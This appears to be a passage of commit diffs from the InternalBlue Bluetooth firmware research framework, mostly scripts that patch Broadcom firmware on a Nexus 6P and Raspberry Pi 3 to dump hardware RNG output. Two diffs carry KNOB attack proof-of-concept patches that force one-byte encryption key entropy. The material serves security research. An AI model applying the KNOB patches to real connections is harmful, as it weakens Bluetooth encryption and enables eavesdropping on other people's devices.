log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
+242
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@@ -0,0 +1,242 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
"""
Measure the RNG of the Nexus 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
* Launch_RAM patch, as Launch_RAM works but only with a 1.3 second
break. So we overwrite it as in the evaluation boards.
"""
ASM_LOCATION_RNG = 0x21F000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x55FD6 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x229C // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x22C4 // malloc_hci_event_buffer
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x20F4 // send_hci_event()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = ADBCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Nexus 6P Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x59042)
if not internalblue.patchRom(0x59042, patch):
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# sleep(1.3) # Nexus 6P specific HCI bugfix! Launch_RAM doesn't like HCI...
# 8s is safe, 2s did also work 1k times, 1s aborted after 406 and 403.
# 1.3s was also safe.
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("6p_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+224
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@@ -0,0 +1,224 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
"""
Measure the RNG of the Nexus 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x21F000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x55FD6 # original RNG function that we overwrite with bx lr
PRAND = 0x318088 # the pseudo random register we want to benchmark
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x31FC34 agcStatus_adr
# 0x31FFA0 rxInitAngle_adr
# 0x31F8A4 spurFreqErr1_adr
# 0x31FD48 rxPskPhErr5_adr
# 0x200528 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x22C4 // malloc_hci_event_buffer
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x20F4 // send_hci_event()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore(log_level='debug')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.info("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
sleep(1.3) # Nexus 6P specific HCI bugfix! Launch_RAM doesn't like HCI...
# 8s is safe, 2s did also work 1k times, 1s aborted after 406 and 403.
# 1.3s was also safe.
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("6p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+4 -5
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
@@ -16,7 +15,7 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
+57 -9
View File
@@ -1,9 +1,8 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.utils.pwnlib_wrapper import log, asm
from internalblue.hcicore import HCICore
@@ -32,17 +31,66 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
internalblue.patchRom(0x689F0, patch)
internalblue.patchRom(Address(0x689F0), patch)
# modify global variable for own setting
internalblue.writeMem(0x204127, '\x01') # global key entropy
internalblue.writeMem(0x204127, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+222
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@@ -0,0 +1,222 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x219000 # load our snippet here #TODO definitely not a free area on the rpi3
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/ #TODO repeat was only 0x100
FUN_RNG = 0x1CA3E # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
//bl notify_hci
bl 0x40fa //io cap resp 00000000550d000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x3670 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x358E // send_hci_event_without_free()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("rpi3-randomdata-%irounds.bin" % rounds, "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+222
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@@ -0,0 +1,222 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x219000 # load our snippet here #TODO definitely not a free area on the rpi3
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/ #TODO was 0x100
FUN_RNG = 0x1CA3E # original RNG function that we overwrite with bx lr
PRAND = 0x318088 # the pseudo random register we want to benchmark
# !!! other mapping, follows CYW20719
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr
# 0x4107A0 txDirectModFreqAdj3_adr
# 0x4100A4 spurFreqErr0_adr
# 0x410548 rxPskPhErr5_adr
# 0x200578 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
//bl notify_hci
bl 0x40fa //io cap resp 00000000550d000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// wait until RNG is ready, which is indicated by status 0x200fffff
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x3670 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x358E // send_hci_event_without_free()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("raspi3_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+4 -5
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
@@ -16,7 +15,7 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
+57 -10
View File
@@ -1,11 +1,9 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -32,17 +30,66 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
internalblue.patchRom(0x3B3D4, patch)
internalblue.patchRom(Address(0x3B3D4), patch)
# modify global variable for own setting
internalblue.writeMem(0x204A5F, '\x01') # global key entropy
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+227
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@@ -0,0 +1,227 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x21f000 # load our snippet here, yes we have space :)
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
//bl notify_hci
mov r0, 0
mov r1, 0
mov r2, 0
mov r3, 0
bl 0x1a14 //ok whatever this one produces 2e0000000000000000000000000000000000000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 10 // event length
mov r0, 12 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x2770 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
pop {r0-r4, lr}
b 0x268E // send_hci_event_without_free()
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
#adb.process(["su", "-c", "svc wifi disable"])
os.system("sudo rfkill block wifi")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
